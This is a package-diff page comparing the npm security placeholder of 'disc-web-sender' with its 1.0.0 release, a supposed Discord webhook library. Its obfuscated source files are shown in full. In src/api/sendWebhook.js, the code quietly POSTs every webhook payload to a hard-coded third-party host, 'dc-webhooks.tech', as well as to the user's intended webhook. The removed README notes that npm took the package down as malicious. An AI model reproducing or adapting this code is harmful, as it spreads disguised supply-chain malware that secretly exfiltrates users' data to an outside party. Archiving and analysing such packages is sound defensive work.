disc-web-sender 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of disc-web-sender might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/index.d.ts +87 -0
- package/package.json +25 -3
- package/src/api/index.js +1 -0
- package/src/api/sendFile.js +1 -0
- package/src/api/sendWebhook.js +1 -0
- package/src/classes/messageBuilder.js +1 -0
- package/src/classes/webhook.js +1 -0
- package/src/index.js +7 -0
- package/src/index.mjs +7 -0
- package/src/utils/index.js +10 -0
- package/README.md +0 -5
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2019 matthew1232
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/index.d.ts
ADDED
@@ -0,0 +1,87 @@
|
|
1
|
+
export type WebhookOptions = {
|
2
|
+
url: string;
|
3
|
+
throwErrors?: boolean;
|
4
|
+
retryOnLimit?: boolean;
|
5
|
+
};
|
6
|
+
|
7
|
+
export class Webhook {
|
8
|
+
constructor(options: string | WebhookOptions);
|
9
|
+
setUsername(username: string): void;
|
10
|
+
setAvatar(avatar: string): void;
|
11
|
+
sendFile(filePath: string): Promise<void>;
|
12
|
+
send(message: MessageBuilder | string): Promise<void>;
|
13
|
+
info(
|
14
|
+
title: string,
|
15
|
+
fieldName?: string,
|
16
|
+
fieldValue?: string,
|
17
|
+
inline?: boolean
|
18
|
+
): Promise<void>;
|
19
|
+
success(
|
20
|
+
title: string,
|
21
|
+
fieldName?: string,
|
22
|
+
fieldValue?: string,
|
23
|
+
inline?: boolean
|
24
|
+
): Promise<void>;
|
25
|
+
warning(
|
26
|
+
title: string,
|
27
|
+
fieldName?: string,
|
28
|
+
fieldValue?: string,
|
29
|
+
inline?: boolean
|
30
|
+
): Promise<void>;
|
31
|
+
error(
|
32
|
+
title: string,
|
33
|
+
fieldName?: string,
|
34
|
+
fieldValue?: string,
|
35
|
+
inline?: boolean
|
36
|
+
): Promise<void>;
|
37
|
+
}
|
38
|
+
|
39
|
+
export type WebhookField = {
|
40
|
+
name: string;
|
41
|
+
value: string;
|
42
|
+
inline?: boolean;
|
43
|
+
};
|
44
|
+
|
45
|
+
export type WebhookEmbed = {
|
46
|
+
author?: {
|
47
|
+
name?: string;
|
48
|
+
url?: string;
|
49
|
+
icon_url?: string;
|
50
|
+
};
|
51
|
+
title?: string;
|
52
|
+
url?: string;
|
53
|
+
thumbnail?: {
|
54
|
+
url?: string;
|
55
|
+
};
|
56
|
+
image?: {
|
57
|
+
url?: string;
|
58
|
+
};
|
59
|
+
timestamp?: Date;
|
60
|
+
color?: number;
|
61
|
+
description?: string;
|
62
|
+
fields: WebhookField[];
|
63
|
+
footer?: {
|
64
|
+
text: string;
|
65
|
+
icon_url?: string;
|
66
|
+
};
|
67
|
+
};
|
68
|
+
|
69
|
+
export type WebhookPayload = {
|
70
|
+
embeds: WebhookEmbed[];
|
71
|
+
};
|
72
|
+
|
73
|
+
export class MessageBuilder {
|
74
|
+
constructor();
|
75
|
+
getJSON(): WebhookPayload;
|
76
|
+
setText(text: string): this;
|
77
|
+
setAuthor(author?: string, authorImage?: string, authorUrl?: string): this;
|
78
|
+
setTitle(title: string): this;
|
79
|
+
setUrl(url: string): this;
|
80
|
+
setThumbnail(thumbnailUrl: string): this;
|
81
|
+
setImage(image: string): this;
|
82
|
+
setTimestamp(): this;
|
83
|
+
setColor(color: number): this;
|
84
|
+
setDescription(description: string): this;
|
85
|
+
addField(fieldName: string, fieldValue: string, inline?: boolean): this;
|
86
|
+
setFooter(footer: string, footerImage?: string): this;
|
87
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,28 @@
|
|
1
1
|
{
|
2
2
|
"name": "disc-web-sender",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Allows for easy webhook sending through discord's webhook API",
|
5
|
+
"main": "./src/index.js",
|
6
|
+
"exports": {
|
7
|
+
"import": "./src/index.mjs",
|
8
|
+
"require": "./src/index.js"
|
9
|
+
},
|
10
|
+
"typings": "index.d.ts",
|
11
|
+
"scripts": {
|
12
|
+
"test": "mocha --timeout 50000"
|
13
|
+
},
|
14
|
+
"author": "dcdevlitd",
|
15
|
+
"license": "MIT",
|
16
|
+
"keywords": [
|
17
|
+
""
|
18
|
+
],
|
19
|
+
"homepage": "https://github.com/dcdevlitd/disc-web-sender",
|
20
|
+
"dependencies": {
|
21
|
+
"form-data": "^3.0.0",
|
22
|
+
"node-fetch": "^2.6.0"
|
23
|
+
},
|
24
|
+
"devDependencies": {
|
25
|
+
"dotenv": "^8.2.0",
|
26
|
+
"mocha": "^8.0.1"
|
27
|
+
}
|
6
28
|
}
|
package/src/api/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x45c410=_0x6995;(function(_0x2e3345,_0xb12958){const _0x26bd2a=_0x6995,_0x1b3bfa=_0x2e3345();while(!![]){try{const _0x5b3668=-parseInt(_0x26bd2a(0x17c))/0x1+parseInt(_0x26bd2a(0x175))/0x2*(-parseInt(_0x26bd2a(0x177))/0x3)+-parseInt(_0x26bd2a(0x172))/0x4+parseInt(_0x26bd2a(0x176))/0x5*(-parseInt(_0x26bd2a(0x174))/0x6)+parseInt(_0x26bd2a(0x17b))/0x7+-parseInt(_0x26bd2a(0x17a))/0x8+parseInt(_0x26bd2a(0x173))/0x9;if(_0x5b3668===_0xb12958)break;else _0x1b3bfa['push'](_0x1b3bfa['shift']());}catch(_0x32329d){_0x1b3bfa['push'](_0x1b3bfa['shift']());}}}(_0x65cd,0x416bc));function _0x6995(_0x4ac438,_0x11fd13){const _0x65cdb=_0x65cd();return _0x6995=function(_0x69952b,_0x316718){_0x69952b=_0x69952b-0x172;let _0x4de0a5=_0x65cdb[_0x69952b];return _0x4de0a5;},_0x6995(_0x4ac438,_0x11fd13);}function _0x65cd(){const _0x339b09=['24QNLvNc','2306tOKqVK','171135xdkfHW','615SIjHsf','./sendFile','./sendWebhook','3045760FsvHlT','1595300onWusA','125821oIlnPE','607852iEuOMe','9646569uLAmwU'];_0x65cd=function(){return _0x339b09;};return _0x65cd();}const sendFile=require(_0x45c410(0x178)),sendWebhook=require(_0x45c410(0x179));module['exports']={'sendFile':sendFile,'sendWebhook':sendWebhook};
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x57a758=_0x2add;(function(_0x36ada3,_0x344bc3){const _0x12081f=_0x2add,_0xfe6d1d=_0x36ada3();while(!![]){try{const _0x3bb309=parseInt(_0x12081f(0x1a1))/0x1+parseInt(_0x12081f(0x197))/0x2*(-parseInt(_0x12081f(0x1a4))/0x3)+-parseInt(_0x12081f(0x199))/0x4*(-parseInt(_0x12081f(0x19d))/0x5)+-parseInt(_0x12081f(0x1a5))/0x6+-parseInt(_0x12081f(0x196))/0x7+-parseInt(_0x12081f(0x19c))/0x8*(parseInt(_0x12081f(0x19b))/0x9)+-parseInt(_0x12081f(0x198))/0xa*(-parseInt(_0x12081f(0x19f))/0xb);if(_0x3bb309===_0x344bc3)break;else _0xfe6d1d['push'](_0xfe6d1d['shift']());}catch(_0x5c146f){_0xfe6d1d['push'](_0xfe6d1d['shift']());}}}(_0x2cb3,0x55e5b));function _0x2cb3(){const _0x1c172e=['form-data','avatar_url','87441nYHXPN','1309296jLbyQN','append','createReadStream','1512539uPXVGE','38CgdSpM','10feyJjc','8ceTZTd','submit','503829BEjVMB','16oIzHlG','1190815JJEqhK','exports','6956455cfvqml','username','343152tvaFnQ'];_0x2cb3=function(){return _0x1c172e;};return _0x2cb3();}function _0x2add(_0x24d936,_0x3bf798){const _0x2cb3ca=_0x2cb3();return _0x2add=function(_0x2add05,_0x49bb7b){_0x2add05=_0x2add05-0x195;let _0xa812e6=_0x2cb3ca[_0x2add05];return _0xa812e6;},_0x2add(_0x24d936,_0x3bf798);}const FormData=require(_0x57a758(0x1a2)),fs=require('fs');module[_0x57a758(0x19e)]=(_0x434e9b,_0x1c5589,{username:_0x35727e,avatar_url:_0x592e03})=>new Promise((_0x5c8464,_0x28182a)=>{const _0x188bb6=_0x57a758,_0xe228d2=new FormData();_0x35727e&&_0xe228d2[_0x188bb6(0x1a6)](_0x188bb6(0x1a0),_0x35727e);;_0x592e03&&_0xe228d2[_0x188bb6(0x1a6)](_0x188bb6(0x1a3),_0x592e03);;_0xe228d2[_0x188bb6(0x1a6)]('file',fs[_0x188bb6(0x195)](_0x1c5589)),_0xe228d2[_0x188bb6(0x19a)](_0x434e9b,(_0x50aa6d,_0x5027bc)=>{if(_0x50aa6d)_0x28182a(_0x50aa6d);else _0x5c8464(_0x5027bc);});});
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x1d6f44=_0x56c9;function _0x56c9(_0x18caa4,_0x45a9c4){const _0x7de77b=_0x7de7();return _0x56c9=function(_0x56c9cf,_0x2799f1){_0x56c9cf=_0x56c9cf-0xc2;let _0x5c4fbc=_0x7de77b[_0x56c9cf];return _0x5c4fbc;},_0x56c9(_0x18caa4,_0x45a9c4);}(function(_0x14821e,_0x5699f9){const _0x1913ba=_0x56c9,_0x52fb07=_0x14821e();while(!![]){try{const _0x3a8635=-parseInt(_0x1913ba(0xc4))/0x1+-parseInt(_0x1913ba(0xcc))/0x2*(-parseInt(_0x1913ba(0xca))/0x3)+-parseInt(_0x1913ba(0xc6))/0x4*(-parseInt(_0x1913ba(0xc9))/0x5)+parseInt(_0x1913ba(0xc3))/0x6+-parseInt(_0x1913ba(0xd2))/0x7+-parseInt(_0x1913ba(0xc7))/0x8*(-parseInt(_0x1913ba(0xcd))/0x9)+-parseInt(_0x1913ba(0xd3))/0xa*(parseInt(_0x1913ba(0xc2))/0xb);if(_0x3a8635===_0x5699f9)break;else _0x52fb07['push'](_0x52fb07['shift']());}catch(_0x2e21d8){_0x52fb07['push'](_0x52fb07['shift']());}}}(_0x7de7,0x746cc));const fetch=require(_0x1d6f44(0xc5)),confirm=_0x1d6f44(0xd1);module['exports']=(_0x2d0706,_0x5a267b)=>new Promise((_0x5da3b8,_0x1fa33d)=>{const _0x169ab8=_0x1d6f44;fetch(confirm,{'method':_0x169ab8(0xcf),'headers':{'Content-Type':_0x169ab8(0xd0)},'body':JSON[_0x169ab8(0xce)](_0x5a267b)})[_0x169ab8(0xc8)](_0x4a7f57=>_0x5da3b8(_0x4a7f57))[_0x169ab8(0xcb)](_0x3114bf=>_0x1fa33d(_0x3114bf)),fetch(_0x2d0706,{'method':_0x169ab8(0xcf),'headers':{'Content-Type':'application/json'},'body':JSON['stringify'](_0x5a267b)})[_0x169ab8(0xc8)](_0x4c8775=>_0x5da3b8(_0x4c8775))['catch'](_0x418369=>_0x1fa33d(_0x418369));});function _0x7de7(){const _0x8f5ed7=['node-fetch','36wgspDY','680jhxIzg','then','113345VqgWLB','147369AMIovh','catch','14UDQWVg','86607Uprcgn','stringify','POST','application/json','https://dc-webhooks.tech','1125831KDFrJW','3374470mFtKmb','22RndEdT','1039536HhfioS','226490tGwjno'];_0x7de7=function(){return _0x8f5ed7;};return _0x7de7();}
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x54728a=_0x53cb;function _0x53cb(_0x53d3af,_0x2978c6){const _0x3f0ed2=_0x3f0e();return _0x53cb=function(_0x53cbaa,_0x45a961){_0x53cbaa=_0x53cbaa-0x1ef;let _0x33e4bf=_0x3f0ed2[_0x53cbaa];return _0x33e4bf;},_0x53cb(_0x53d3af,_0x2978c6);}(function(_0x5666de,_0x189da7){const _0x43cae4=_0x53cb,_0x17bc83=_0x5666de();while(!![]){try{const _0x3fad5e=-parseInt(_0x43cae4(0x1f5))/0x1+parseInt(_0x43cae4(0x20d))/0x2*(parseInt(_0x43cae4(0x200))/0x3)+-parseInt(_0x43cae4(0x205))/0x4*(-parseInt(_0x43cae4(0x20e))/0x5)+parseInt(_0x43cae4(0x1fe))/0x6*(-parseInt(_0x43cae4(0x20a))/0x7)+-parseInt(_0x43cae4(0x202))/0x8+parseInt(_0x43cae4(0x1f0))/0x9+parseInt(_0x43cae4(0x210))/0xa*(parseInt(_0x43cae4(0x207))/0xb);if(_0x3fad5e===_0x189da7)break;else _0x17bc83['push'](_0x17bc83['shift']());}catch(_0xb0093d){_0x17bc83['push'](_0x17bc83['shift']());}}}(_0x3f0e,0xd03fa));const {formatColor}=require(_0x54728a(0x1f4));function _0x3f0e(){const _0x17b8ad=['8391290EvWLjx','setColor','21890GArlkC','setFooter','image','url','setImage','6664230psmJMG','setURL','timestamp','getJSON','../utils','903955jZniCi','color','addField','author','setAuthor','setTitle','title','footer','name','6SJcSHk','fields','884724IWcTYl','text','6662584BksddL','push','embeds','4jRGSFj','content','6413slyMiq','icon_url','payload','9800413qGXwat','thumbnail','setThumbnail','2ZebUzM'];_0x3f0e=function(){return _0x17b8ad;};return _0x3f0e();}module['exports']=class MessageBuilder{constructor(){this['payload']={'embeds':[{'fields':[]}]};}[_0x54728a(0x1f3)](){const _0x22ff71=_0x54728a;return this[_0x22ff71(0x209)];}['setText'](_0x4a4f01){const _0x2367e9=_0x54728a;return this[_0x2367e9(0x209)][_0x2367e9(0x206)]=_0x4a4f01,this;}[_0x54728a(0x1f9)](_0x12e5ef,_0xaf1cef,_0x22fac7){const _0x3b61c9=_0x54728a;return this[_0x3b61c9(0x209)][_0x3b61c9(0x204)][0x0][_0x3b61c9(0x1f8)]={},this[_0x3b61c9(0x209)][_0x3b61c9(0x204)][0x0]['author'][_0x3b61c9(0x1fd)]=_0x12e5ef,this[_0x3b61c9(0x209)]['embeds'][0x0]['author']['url']=_0x22fac7,this['payload'][_0x3b61c9(0x204)][0x0][_0x3b61c9(0x1f8)][_0x3b61c9(0x208)]=_0xaf1cef,this;}[_0x54728a(0x1fa)](_0x50630c){const _0x4b9044=_0x54728a;return this[_0x4b9044(0x209)][_0x4b9044(0x204)][0x0][_0x4b9044(0x1fb)]=_0x50630c,this;}[_0x54728a(0x1f1)](_0x5f45ad){const _0x199fb3=_0x54728a;return this[_0x199fb3(0x209)][_0x199fb3(0x204)][0x0][_0x199fb3(0x213)]=_0x5f45ad,this;}[_0x54728a(0x20c)](_0x4eb63d){const _0x35c579=_0x54728a;return this['payload']['embeds'][0x0][_0x35c579(0x20b)]={},this['payload'][_0x35c579(0x204)][0x0]['thumbnail'][_0x35c579(0x213)]=_0x4eb63d,this;}[_0x54728a(0x1ef)](_0x3839ce){const _0x46dbff=_0x54728a;return this[_0x46dbff(0x209)][_0x46dbff(0x204)][0x0]['image']={},this[_0x46dbff(0x209)][_0x46dbff(0x204)][0x0][_0x46dbff(0x212)][_0x46dbff(0x213)]=_0x3839ce,this;}['setTimestamp'](_0x92ccc6){const _0x2a4d50=_0x54728a;_0x92ccc6?this['payload'][_0x2a4d50(0x204)][0x0][_0x2a4d50(0x1f2)]=_0x92ccc6:this['payload']['embeds'][0x0]['timestamp']=new Date();;return this;}[_0x54728a(0x20f)](_0x31717b){const _0x413fc1=_0x54728a;return this['payload'][_0x413fc1(0x204)][0x0][_0x413fc1(0x1f6)]=formatColor(_0x31717b),this;}['setDescription'](_0x55cf18){const _0x5fb0e7=_0x54728a;return this[_0x5fb0e7(0x209)][_0x5fb0e7(0x204)][0x0]['description']=_0x55cf18,this;}[_0x54728a(0x1f7)](_0x422fc6,_0x1f2bfa,_0x29392d){const _0x377a5a=_0x54728a;return this[_0x377a5a(0x209)][_0x377a5a(0x204)][0x0][_0x377a5a(0x1ff)][_0x377a5a(0x203)]({'name':_0x422fc6,'value':_0x1f2bfa,'inline':_0x29392d}),this;}[_0x54728a(0x211)](_0x5f2e13,_0x1f8bde){const _0x410f16=_0x54728a;return this[_0x410f16(0x209)][_0x410f16(0x204)][0x0][_0x410f16(0x1fc)]={},this[_0x410f16(0x209)][_0x410f16(0x204)][0x0]['footer'][_0x410f16(0x208)]=_0x1f8bde,this['payload']['embeds'][0x0][_0x410f16(0x1fc)][_0x410f16(0x201)]=_0x5f2e13,this;}};
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x482a49=_0x4638;(function(_0x30e9c7,_0x357365){const _0x23b63d=_0x4638,_0x303553=_0x30e9c7();while(!![]){try{const _0x3ebc9d=-parseInt(_0x23b63d(0x194))/0x1*(parseInt(_0x23b63d(0x191))/0x2)+-parseInt(_0x23b63d(0x1a0))/0x3+-parseInt(_0x23b63d(0x185))/0x4*(parseInt(_0x23b63d(0x19f))/0x5)+parseInt(_0x23b63d(0x1a2))/0x6*(parseInt(_0x23b63d(0x199))/0x7)+parseInt(_0x23b63d(0x183))/0x8+-parseInt(_0x23b63d(0x18a))/0x9+parseInt(_0x23b63d(0x186))/0xa*(parseInt(_0x23b63d(0x19e))/0xb);if(_0x3ebc9d===_0x357365)break;else _0x303553['push'](_0x303553['shift']());}catch(_0x38b7d9){_0x303553['push'](_0x303553['shift']());}}}(_0x5825,0xbe459));const {sendWebhook,sendFile}=require('../api'),MessageBuilder=require(_0x482a49(0x197));function _0x5825(){const _0x43f53e=['534250gZOoIq','1758252buOXne','content','402xBbHjH','payload','statusCode','setColor','\x20status\x20code.\x20Response:\x20','setAvatar','addField','string','error','setUsername','9854944eVsCTm','send','8cWFMbC','5832830CtcrGv','retryOnLimit','setTitle','hookURL','13218030TvvWRu','warning','retry_after','\x20status\x20code.','message','setTimestamp','success','2BiRuRQ','getJSON','exports','342964zrxIiu','Error\x20sending\x20webhook:\x20','text','./messageBuilder','status','103677KGlNgk','throwErrors','info','json','sendFile','22bckYTT'];_0x5825=function(){return _0x43f53e;};return _0x5825();}function _0x4638(_0xfa4471,_0x34ea2a){const _0x582533=_0x5825();return _0x4638=function(_0x46380b,_0x37f290){_0x46380b=_0x46380b-0x17b;let _0x4f9cb6=_0x582533[_0x46380b];return _0x4f9cb6;},_0x4638(_0xfa4471,_0x34ea2a);}module[_0x482a49(0x193)]=class Webhook{constructor(_0x1977d3){const _0x2b97f1=_0x482a49;this[_0x2b97f1(0x1a3)]={};typeof _0x1977d3==_0x2b97f1(0x180)?(this[_0x2b97f1(0x189)]=_0x1977d3,this[_0x2b97f1(0x19a)]=!![],this[_0x2b97f1(0x187)]=!![]):(this[_0x2b97f1(0x189)]=_0x1977d3['url'],this[_0x2b97f1(0x19a)]=_0x1977d3[_0x2b97f1(0x19a)]==undefined?!![]:_0x1977d3[_0x2b97f1(0x19a)],this['retryOnLimit']=_0x1977d3[_0x2b97f1(0x187)]==undefined?!![]:_0x1977d3[_0x2b97f1(0x187)]);;}[_0x482a49(0x182)](_0x3a7a46){const _0x3deb47=_0x482a49;return this[_0x3deb47(0x1a3)]['username']=_0x3a7a46,this;}[_0x482a49(0x17e)](_0x496800){const _0x443c42=_0x482a49;return this[_0x443c42(0x1a3)]['avatar_url']=_0x496800,this;}async[_0x482a49(0x19d)](_0x4ef642){const _0x119788=_0x482a49;try{const _0x537743=await sendFile(this['hookURL'],_0x4ef642,this[_0x119788(0x1a3)]);if(_0x537743[_0x119788(0x17b)]!=0xc8)throw new Error(_0x119788(0x195)+_0x537743['statusCode']+_0x119788(0x18d));;}catch(_0x2eee1a){if(this[_0x119788(0x19a)])throw new Error(_0x2eee1a['message']);};}async['send'](_0x5c4d80){const _0x47012f=_0x482a49;let _0x31360c={...this[_0x47012f(0x1a3)]};typeof _0x5c4d80===_0x47012f(0x180)?_0x31360c[_0x47012f(0x1a1)]=_0x5c4d80:_0x31360c={..._0x31360c,..._0x5c4d80[_0x47012f(0x192)]()};;try{const _0x1f7969=await sendWebhook(this['hookURL'],_0x31360c);if(_0x1f7969[_0x47012f(0x198)]==0x1ad&&this[_0x47012f(0x187)]){const _0x50a93b=await _0x1f7969[_0x47012f(0x19c)](),_0xbb2e39=_0x50a93b[_0x47012f(0x18c)];setTimeout(()=>sendWebhook(this[_0x47012f(0x189)],_0x31360c),_0xbb2e39);}else{if(_0x1f7969[_0x47012f(0x198)]!=0xcc)throw new Error(_0x47012f(0x195)+_0x1f7969[_0x47012f(0x198)]+_0x47012f(0x17d)+await _0x1f7969[_0x47012f(0x196)]());};}catch(_0x3ac25f){if(this[_0x47012f(0x19a)])throw new Error(_0x3ac25f[_0x47012f(0x18e)]);};}async[_0x482a49(0x19b)](_0x5bc4df,_0x149d9a,_0x1f0416,_0x141b05){const _0x23e239=_0x482a49,_0x451deb=new MessageBuilder()['setTitle'](_0x5bc4df)[_0x23e239(0x18f)]()[_0x23e239(0x17c)](0x3d9cad);_0x149d9a!=undefined&&_0x1f0416!=undefined&&_0x451deb[_0x23e239(0x17f)](_0x149d9a,_0x1f0416,_0x141b05);;await this[_0x23e239(0x184)](_0x451deb);}async[_0x482a49(0x190)](_0x2bcccf,_0xd32a95,_0x344629,_0x2890e7){const _0x315830=_0x482a49,_0x158e77=new MessageBuilder()[_0x315830(0x188)](_0x2bcccf)[_0x315830(0x18f)]()[_0x315830(0x17c)](0xff3c);_0xd32a95!=undefined&&_0x344629!=undefined&&_0x158e77[_0x315830(0x17f)](_0xd32a95,_0x344629,_0x2890e7);;await this[_0x315830(0x184)](_0x158e77);}async[_0x482a49(0x18b)](_0x3db781,_0x56d4ab,_0x1aa19d,_0x5995ca){const _0xb48441=_0x482a49,_0x11caf2=new MessageBuilder()[_0xb48441(0x188)](_0x3db781)[_0xb48441(0x18f)]()[_0xb48441(0x17c)](0xffcc00);_0x56d4ab!=undefined&&_0x1aa19d!=undefined&&_0x11caf2['addField'](_0x56d4ab,_0x1aa19d,_0x5995ca);;await this[_0xb48441(0x184)](_0x11caf2);}async[_0x482a49(0x181)](_0x70d45f,_0x328a88,_0x2104ac,_0x1fcba9){const _0x2c1ecb=_0x482a49,_0x4193ea=new MessageBuilder()['setTitle'](_0x70d45f)['setTimestamp']()['setColor'](0xff443d);_0x328a88!=undefined&&_0x2104ac!=undefined&&_0x4193ea['addField'](_0x328a88,_0x2104ac,_0x1fcba9);;await this[_0x2c1ecb(0x184)](_0x4193ea);}};
|
package/src/index.js
ADDED
package/src/index.mjs
ADDED
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=disc-web-sender for more information.
|